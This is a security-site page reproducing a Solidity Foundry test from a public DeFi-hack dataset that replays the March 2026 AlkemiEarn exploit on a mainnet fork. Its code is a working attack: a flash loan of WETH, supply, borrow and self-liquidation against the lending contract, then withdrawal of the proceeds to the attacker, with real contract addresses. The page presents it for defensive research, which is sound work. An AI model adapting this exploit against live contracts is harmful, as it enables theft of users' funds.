Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/AlkemiEarn_exp.sol

Public reproduction file for dataset entry AlkemiEarn.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/AlkemiEarn_exp.sol90 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 43.45 ETH
8// Attacker : https://etherscan.io/address/0x0ed1c01b8420a965d7bd2374db02896464c91cd7
9// Attack Contract : https://etherscan.io/address/0xE408b52AEfB27A2FB4f1cD760A76DAa4BF23794B
10// Vulnerable Contract : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888
11// Attack Tx : https://skylens.certik.com/tx/eth/0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d?active_tab=events
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888#code
16// @Analysis
17// Post-mortem : https://x.com/blockaid_/status/2031351883470676048?s=20
18// Twitter Guy : https://x.com/blockaid_
20pragma solidity ^0.8.0;
22contract AlkemiEarn_exp is BaseTestWithBalanceLog {
23 uint256 blocknumToForkFrom = 24626979 - 1;
24 address attacker = makeAddr("attacker");
25 address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;
26 IAlkemiEarn victimContract = IAlkemiEarn(victim);
28 function setUp() public {
29 vm.createSelectFork("mainnet", blocknumToForkFrom);
30 }
32 function testExploit() public balanceLog2(attacker) {
33 vm.startPrank(attacker);
34 Attacker attacker = new Attacker();
35 attacker.attack();
36 vm.stopPrank();
38 }
41contract Attacker {
43 IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
44 IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
45 address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;
46 IAlkemiEarn victimContract = IAlkemiEarn(victim);
47 address attacker;
48 address aweth = 0x8125afd067094cD573255f82795339b9fe2A40ab;
51 function attack() public {
52 attacker = msg.sender;
53 address[] memory tokens = new address[](1);
54 tokens[0] = address(weth);
55 uint256[] memory amounts = new uint256[](1);
56 amounts[0] = 51 ether;
57 bytes memory userData = "";
58 vault.flashLoan(address(this), tokens, amounts, userData);
59 }
61 function receiveFlashLoan(
62 address[] memory tokens,
63 uint256[] memory amounts,
64 uint256[] memory feeAmounts,
65 bytes memory userData
66 ) external {
67 weth.withdraw(amounts[0]);
68 victimContract.supply{value: 50 ether}( aweth, 50 ether);
69 victimContract.borrow(aweth, 39.5 ether);
70 uint256 amount = victimContract.getBorrowBalance(address(this), aweth);
71 console2.log("amount: ", amount);
72 console2.log("balance of eth: ", address(this).balance);
73 victimContract.liquidateBorrow{value: amount}(address(this), aweth, aweth, amount);
74 victimContract.withdraw(aweth, type(uint256).max);
75 weth.deposit{value: 51 ether}();
76 weth.transfer(address(vault), amounts[0] + feeAmounts[0]);
77 console2.log("balance of eth: ", address(this).balance);
78 TransferHelper.safeTransferETH( attacker, address(this).balance);
79 }
81 fallback() external payable {}
84interface IAlkemiEarn {
85 function supply(address token, uint256 amount) external payable;
86 function borrow(address token, uint256 amount) external;
87 function getBorrowBalance(address user, address token) external view returns (uint256);
88 function liquidateBorrow(address borrower, address borrow, address collateral, uint256 amountClose) external payable;
89 function withdraw(address token, uint256 amount) external;

Analysis

Dataset entry

Public Foundry test for “AlkemiEarn” (2026-03-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0ed1c01b8420a965d7bd2374db02896464c91cd7

  • Attack Contract

    0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b

  • Vulnerable Contract

    0x4822d9172e5b76b9db37b75f5552f9988f98a888

  • Attack Tx

    0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d

File record

Name
AlkemiEarn
Path
src/test/2026-03/AlkemiEarn_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
581bfada90f9630d51c5cb83be8e27152e580b52
Language
Solidity
Size
91 lines
Date
2026-03-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/AlkemiEarn_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 581bfada90f9630d51c5cb83be8e27152e580b52, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.